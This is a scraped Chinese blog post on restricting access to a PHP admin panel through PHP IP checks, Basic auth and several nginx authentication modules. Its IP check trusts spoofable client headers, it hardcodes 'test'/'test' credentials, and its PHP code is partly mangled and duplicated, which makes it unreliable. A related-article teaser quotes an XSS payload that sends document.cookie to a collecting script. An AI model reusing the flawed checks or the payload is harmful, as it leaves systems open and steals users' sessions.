authinfo.php,【nginxphp】后台权限认证方式

7e2f65320ba532a05fac17ed8a9ab036.png

一、最常用的方法(代码中限制)

1、如何限制IP

function get_new_ip(){

if(getenv('HTTP_CLIENT_IP')) {

$onlineip = getenv('HTTP_CLIENT_IP');

} elseif(getenv('HTTP_X_FORWARDED_FOR')) {

$onlineip = getenv('HTTP_X_FORWARDED_FOR');

} elseif(getenv('REMOTE_ADDR')) {

$onlineip = getenv('REMOTE_ADDR');

} else {

$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];

}

return $onlineip;

}

$onlineip = get_new_ip();

$wip = ['127.0.0.1'];

if(!in_array($onlineip, $wip)){

header("HTTP/1.1 404 Not Found");

header("Status: 404 Not Found");

exit;

}

2、进行密码验证

/ Password protect

define('ADMIN_USERNAME','test'); // Admin Username

define('ADMIN_PASSWORD','test'); // Admin Password

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||

$_SERVER['PHP_AUTH_USER'] != ADMIN_USERNAME || $_SERVER['PHP_AUTH_PW'] != ADMIN_PASSWORD) {

Header("WWW-Authenticate: Basic realm=\"discuz Login\"");

Header("HTTP/1.0 401 Unauthorized");

echo <<

Rejected!

Wrong Username or Password!

EOB;

exit;

}

// END OF DEFAULT CONFIG AREA /

二、NGINX中限制

1、IP限制

location / {

deny 192.168.1.1;

allow 192.168.1.0/24;

allow 10.1.1.0/16;

allow 2001:0db8::/32;

deny all;

}

2、auth_basic 本机认证(nginx默认支持)

安装密码工具

yum -y install httpd-tools

生成密码

htpasswd -c pass.db

nginx中配置(需要维护 pass.db 文件)

auth_basic "User Authentication";

auth_basic_user_file conf/pass.db;

3、ngx_http_auth_request_module 第三方认证

需要安装:--with-http_auth_request_module 模块

#auth_basic "User Authentication";

#auth_basic_user_file conf/pass.db;

auth_request /auth;

location = /auth {

proxy_pass ...

proxy_pass_request_body off;

proxy_set_header Content-Length "";

proxy_set_header X-Original-URI $request_uri;

}

/ Password protect

define('ADMIN_USERNAME','test'); // Admin Username

define('ADMIN_PASSWORD','test'); // Admin Password

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||

$_SERVER['PHP_AUTH_USER'] != ADMIN_USERNAME || $_SERVER['PHP_AUTH_PW'] != ADMIN_PASSWORD) {

Header("WWW-Authenticate: Basic realm=\"discuz Login\"");

Header("HTTP/1.0 401 Unauthorized");

echo <<

Rejected!

Wrong Username or Password!

EOB;

exit;

}

// END OF DEFAULT CONFIG AREA /

4、 ngx_http_auth_jwt_module 第三方认证

location / {

auth_jwt "closed site";

auth_jwt_key_file conf/keys.json;

auth_jwt_claim_set $email info e-mail;

auth_jwt_claim_set $job info "job title";

}

加密算法原理同上

配置代码:

location ~ /admin/.*php$ {

location = /admin.php {

allow 127.0.0.1;

deny all;

auth_basic "Authorized users only";

auth_basic_user_file authkey/auth.com.db;

fastcgi_pass common;

fastcgi_index index.php;

include fastcgi_params;

fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/533208.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

xss漏洞php注射实战,利用XSS渗透DISCUZ 6.1.0实战

论坛——>入侵者布置的跨站攻击——>转移被入侵这视线(隐蔽)论坛插入脚本&#xff1a;var img new Image();img.src get_cookie.php?var encodeURI(document.cookie);但是我不一样&#xff0c;因为他需要诱导人去点击他的链接&#xff0c;但是现在人不是傻子&#xf…

宇轩网络面试题目PHP,二十道接地气的php面试题,让你直接通过面试!就此奉上~...

1、echo count(“abc”); 输出什么&#xff1f;答&#xff1a;"1"count— 计算数组中的单元数目或对象中的属性个数int count ( mixed var\[,intvar \[, intvar\[,intmode ] ), 如果 var 不是数组类型或者实现了 Countable 接口的对象&#xff0c;将返回 1&#xff0…

java期末试题c卷,JAVA程序设计期末考试试卷及参考答案

《JAVA程序设计》期末考试试卷考生注意&#xff1a;1&#xff0e;本试卷满分100分。2&#xff0e;考试时间90分钟。3&#xff0e;卷面整洁&#xff0c;字迹工整。4&#xff0e;填写内容不得超出密封线。总分题号一二三四五六核分人题分21204019复查人得分一、单选择题(每题2分&…

mysql 分组查询原理,MySQL分組查詢Group By實現原理詳解

由於GROUP BY 實際上也同樣會進行排序操作&#xff0c;而且與ORDER BY 相比&#xff0c;GROUP BY 主要只是多了排序之后的分組操作。當然&#xff0c;如果在分組的時候還使用了其他的一些聚合函數&#xff0c;那么還需要一些聚合函數的計算。所以&#xff0c;在GROUP BY 的實現…

mac php命令行模式,phpstorm分别在Mac和Windows下启动命令行,并启用ssh

Mac:在terminal下运行 sudo -i 输入密码 就可以用ssh IP:端口 命令行登录了DAssist是一个命令行开发辅助&#xff0c;可直接在系统命令行工具中使用&#xff0c;Linux和MacOS等自带命令终端的系统好说&#xff0c;windows下也有cmd和powerShell。那么如何结合开发IDE工具进行…

python 逻辑回归准确率是1,Python利用逻辑回归模型解决MNIST手写数字识别问题详解...

本文实例讲述了Python利用逻辑回归模型解决MNIST手写数字识别问题。分享给大家供大家参考&#xff0c;具体如下&#xff1a;1、MNIST手写识别问题MNIST手写数字识别问题&#xff1a;输入黑白的手写阿拉伯数字&#xff0c;通过机器学习判断输入的是几。可以通过TensorFLow下载MN…

php面试题接口方面,php面试题6 - osc_xb4v1nhl的个人空间 - OSCHINA - 中文开源技术交流社区...

php面试题6一、总结二、php面试题6写出你认为语言中的高级函数:1)preg_replace()2)preg_match()3) ignore_user_abort()4) debug_backtrace()5) date_default_timezone_set(“PRC”)6) get_class_methods() 得到类的方法名的数组7) preg_split() 字符串分割成数组8)json_encode…

关于php的问题有哪些,关于PHP的报错问题?

关于这个报错的表格我不知到怎么去做&#xff0c;下面的是代码&#xff1a;header(content-type:text/html;charsetutf-8);session_start();include_once ../include/conf.php;include_once ../include/func.php;include_once ../include/mysql.func.php;check_login();$pageSi…

oracle官方文档查看方法,oracle官方文档_查看初始化参数(举例)

深蓝的blog&#xff1a;http://blog.csdn.net/huangyanlong/article/details/46864217记录了一下&#xff0c;使用oracle11g联机文档&#xff0c;查看初始化参数的步骤。如果想查看&#xff0c;可以修改的初始化参数的概念信息&#xff0c;可以点击“ChangingParameter Values …

oracle p l,使用P.A.L制作便携软件 (一) 基本原理 | 么么哒拥有者

因爱好自学所得&#xff0c;并非专业&#xff0c;此处只是抛砖引玉&#xff0c;欢迎相互交流、学习、提高&#xff0c;辛苦码字不易&#xff0c;如转载望保留链接出处。简单介绍&#xff1a;P.A.L是PortableApps.com Launcher的简称&#xff0c;它是PortableApps.com开发的便携…

linux 建oracle分区表,Oracle 10g 11g分区表创建举例

1.3. 创建其他类型分区表1.3.1. 用多列分区键创建范围分区表SQL> create table aning_mutilcol_range2 (aning_id number,3 aning_name varchar2(100),4 aning_year number,5 aning_month number,6 aning_day number,7 aning_amount number8 )9 partition by range (aning_y…

linux中进行远程服务器连机可以采用telnet,端口号为,使用telnet测试指定端口的连通性...

原标题&#xff1a;使用telnet测试指定端口的连通性telnet 是一个阉割版的 ssh &#xff0c;它数据不加密&#xff0c;数据容易被盗窃&#xff0c;也容易受中间人攻击&#xff0c;所以默认情况下 telnet 端口是必须要被关闭的。telnet为用户提供了在本地计算机上完成远程主机工…

linux xd命令,看Linux文件的内容:用cat,less,more,head,tail,nl,od,xxd,gv,xdvi命令

使用命令在Linux系统中查看文件的内容是Linux管理员的基本技能之一&#xff0c;在Linux中&#xff0c;有许多应用程序以不同的方式显示文件内容。您可以使用cat、less、more、head、tail、nl、od、xxd、gv、xdvi命令来查看文本文件或任何其他文件。为了对此进行测试&#xff0c…

linux远程拷贝免手动输入密码,scp远程拷贝避免输入密码

使用scp远程拷贝文件到指定服务器上&#xff0c;在客户端生成密钥放在需要验证的服务器上&#xff0c;这样再次连接后直接登陆&#xff0c;避免输入密码。设定场景我们需要将tomcat服务器(client1)192.168.30.20 上的catalina.out日志文件&#xff0c;每天使用指定用户拷贝到日…

linux怎么用命令打开wine,Linux系统运维:10分钟教你如何使用Wine在Linux下玩魔兽世界...

本文主要向大家介绍了Linux系统运维的如何使用Wine在Linux下玩魔兽世界&#xff0c;通过具体的步骤向大家展现&#xff0c;希望对大家学习Linux系统运维有所帮助。目标&#xff1a;在 Linux 中运行魔兽世界发行版&#xff1a;适用于几乎所有的 Linux 发行版。要求&#xff1a;具…

linux中如何查看某个端口是否被占用,LINUX中如何查看某个端口是否被占用

之前查询端口是否被占用一直搞不明白&#xff0c;问了好多人&#xff0c;终于搞懂了&#xff0c;现在总结下&#xff1a;1.netstat -anp |grep 端口号如下&#xff0c;我以3306为例&#xff0c;netstat -anp |grep 3306(此处备注下&#xff0c;我是以普通用户操作&#…

linux中s权限大小写的区别,Linux中的权限

1.文件与目录权限1)UID与GIDUIDUID是一个数值&#xff0c;是Linux系统中唯一的用户标识&#xff0c;用于区别不同的用户。在系统内部管理进程和文件保护时使用UID字段。在Linux系统中&#xff0c;注册名和UID都可以用于标识用户&#xff0c;只不过对于系统来说UID更为重要&…

c语言比较大小 谁大选谁,C语言比较优先级

满意答案wanggq2222018.03.14采纳率&#xff1a;42% 等级&#xff1a;7已帮助&#xff1a;57人#pragma once#include#include#include #includeusing namespace std;typedef struct SymKeyVal{string key;int val;};static SymKeyVal KeyValTable[]{{"",0},{"…

android 图片切割代码,Android用clip剪切图像资源

使用clip剪切图像资源可以做进度条&#xff0c;图像慢慢展开的效果&#xff0c;他使用以下几个属性来控制效果&#xff1a;android:drawable&#xff1a;指定要剪切的原图像。android:clipOrientation&#xff1a;截取的方向。可取的值&#xff1a;horizontal和vertical。分别表…

Android中列表动态删除item,如何删除Android ExpandableListView中某个group item的child item?...

自定义了一个expandablelistview 想要删除其中的子项list使用remove方法把list中的指定项删除了11-09 21:04:20.585: I/MainActivity(13557): childData[{child_textsecond}, {child_textthird}]但是在expandablelistview界面显示中&#xff0c;并没有变化,并且还有list溢出报错…